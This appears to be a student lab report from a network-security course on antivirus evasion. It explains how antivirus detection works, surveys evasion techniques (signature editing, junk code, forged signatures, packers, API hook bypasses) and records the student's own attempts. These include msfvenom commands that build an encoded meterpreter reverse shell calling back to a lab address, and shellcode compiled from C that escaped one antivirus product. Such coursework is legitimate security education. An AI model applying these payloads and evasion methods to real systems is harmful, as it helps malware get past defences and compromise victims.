20155325 Exp3 免杀原理与实践

基础问题回答

杀软是如何检测出恶意代码的？

1.1 基于特征码的检测

1.1.1 特征库举例-Snort

1.2 启发式恶意软件检测

1.3 基于行为的恶意软件检测

免杀是做什么？

一般是对恶意软件做处理，让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

免杀的基本方法有哪些？

手工修改；

非源码

1. 数据

如果特征码定位到数据（通过IDA/OD等确认），其实不好修改，稍微不慎就会导致程序不能运行，或者影响程序运行流程或结果。

字符串，如果不影响程序逻辑，可以替换大小写；如果无关紧要的数据，随意替换；等等，看情况而定。

整数，如果不影响结果，替换值，清零等等操作。

地址，基本应该不能修改，具体看情况。

PE头数据，根据PE结构具体来看，无用数据清零或修改，有用数据看情况修改。

最后，终极修改方法，找到访问数据的代码，直接修改代码访问数据的地址，数据也可以放到其他地址了，其实就如同修改源码一样修改，肯定没有修改源码那么容易（见后）。

反正特征码定位到数据位置不容易修改（可以再试试后面的盲免杀）。

1. 代码

如果特征码定位到代码（也通过IDA/OD等确认），在不改变程序功能基础上，应用各种方法修改。

等价替换汇编代码，如mov eax，0可以换成xor eax，eax，直接结果相同，二进制代码不同。

交换代码顺序，在不影响逻辑的情况下。

代码块移位，将代码块移动不用的内存位置，通过加入jmp addr跳过去执行，addr是新的代码块地址。

源码

在有源码的情况下，修改的方式就更灵活了，更简单了。

如果特征码是数据，那么修改数据位置，访问数据的代码位置等（思想类比非源码方式）。

加花指令，这是最有效也是最常用的方式，要点在于如何加话指令。

加数据计算代码，加减乘除各类组合。

加字符串操作代码，增加、删除、查找、替换等。

加多层跳转，跳转间加无效指令（不会执行的）。

加貌似有效的API调用，如LoadLibrary+GetProcAddr+API等。

等等。

工具免杀；

在没找到有效的特征码，或者不好修改的时候，可以试试这种方式。

资源操作

1. 加资源

使用ResHacker对文件进行资源操作，找来多个正常软件，将它们的资源加入到自己软件，如图片，版本信息，对话框等。

1. 替换资源

使用ResHacker替换无用的资源（Version等）。

1. 加签名

使用签名伪造工具，将正常软件的签名信息加入到自己软件中。

几种方式可以交替重复多次进行组合使用。

PE操作

1. PE优化

使用PE优化工具对文件进行优化，删除0，PE头优化，附加数据等。

1. 增加节

增加节数据，随意加入无效数据。

加壳

可以将加壳简单理解为：解密器/解压器+加密器/压缩器（原始代码）。

通过加密器/压缩器将原始代码进行加密压缩，让其特征码变化隐藏，然后组装上解密器/解压器到文件中，运行是先运行解密/解压器，将加密压缩内容解密解压，然后继续运行原始代码。

1. 加冷门壳

壳也有特征，知名壳都已经被分析的非常多了，杀软基本都能查这类壳，或者自动脱壳，然后进行查杀。

所以加冷门壳，壳特征未被分析，不能自动脱壳，可以更好隐藏原始代码，得到免杀效果。

1. 加壳改壳

将常用壳进行修改，让壳特征变化，也可以是杀软失效。

比如修改入口，区段信息修改，入口代码移位。

可以类比为免杀壳，上面介绍的方法都可以使用。

动态行为免杀

1. 替换api

使用相同功能的API进行替换，杀软不可能拦截了所有API，所以这种方式还是有效的。比如MoveFileEx替换MoveFile。

1. 未导出api

寻找相同功能的未导出API进行替换，杀软拦截一般是导出API，或者底层调用，寻找未导出API有一定效果。

寻找方法，通过分析目标API内部调用，找到内部一个或多个未导出API，来完成相同功能。

1. 重写api

完全重写系统API功能（通过逆向），实现自己的对应功能API，对于ring3的行为拦截非常有效。比如实现MoveFile等。

1. api+5

ring3的API拦截通过是挂钩API头几个字节内容，然后进入杀软自己函数进行参数检查之类的。

那么如果调用API时，跳过头部几字节，就可以避开这种拦截方式。

__API:

1 push ebp;

2 mov ebp, esp;

3 mov edi, edi;

4 ...

调用时，不适用1地址，而使用4地址，然后自己函数内部还原跳过几字节的调用。

__API_MY:

push ebp;

mov ebp, esp;

mov edi, edi;

call 4

5. 底层api

该方法类似于2和3，杀软拦截API可能更加高层（语义更清楚），那就可以找更底层API进行调用，绕过拦截，比如使用NT函数。

或者通过DeviceIoControl调用驱动功能来完成API功能。

模拟系统调用。

1. 合理替换调用顺序

有时拦截行为是通过多个API组合来完成的，所以合理替换顺序，绕过杀软拦截策略，也可以绕过改行为拦截。

比如，先创建服务，再将服务对应文件拷贝过去。

1. 绕过调用源

通过调用其它进行功能来完成API的功能。比较经典的如，通过rundll32.exe来完成dll加载，通过COM来操作文件等等。

参考： 免杀技术有一套（免杀方法大集结）

实践总结与体会

越学这门课越觉得心惊

离实战还缺些什么技术或步骤？

1.如何将程序悄无声息地植入对方电脑

2.如何使对方电脑的程序运行，并成功与控制端连接

3.随着时间的推移，杀软数据库会更新，被查杀的可能性增加

实践过程记录

正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧；

把上一次实验用msfvenom生成的5325bd.exe放入http://www.virscan.org/进行检测

按照教程用msfvenom多次编译

 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe

 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe

其实检测结果并没有 太大的变化

用msfvenom生成.jar和.php

用msfvenom生成shellcode，做成20155325.c

用C语言重写meterperter

把成果进行检测

把20155325.c编译成可执行文件（后改名为p5325..exe）

进行检测

通过组合应用各种技术实现恶意代码免杀

max5325.c

加壳并检测

以上的程序中：p5325.exe p5325_upx.exe在win10的360杀毒下实现免杀

但是很恶心心的事情就是

两个都回连失败

实验中遇到的问题及思考

• 问题一：想要上传到网站上检测，但是后门软件一传到主机就被杀软干掉了

• 解决：当然是选择信任它

• 问题二：在进行检测时
  
  

• 解决：去掉2015就好……可能年份会让这么一个网站感到时光流逝的沧桑，所以拒绝有关年纪的话题。

参考链接

• 免杀技术有一套（免杀方法大集结）
• NetSec / ExpGuides / 0x23_MAL_免杀原理与实践.md
• 20155312 张竞予 Exp1 PC平台逆向破解(5)M
• 2017-2018-2 20155303 『网络对抗技术』Exp3：免杀原理与实践
• 20145215《网络对抗》Exp3 免杀原理与实践
• 2017-2018-2 20155228 《网络对抗技术》 实验三：MAL_免杀原理与实践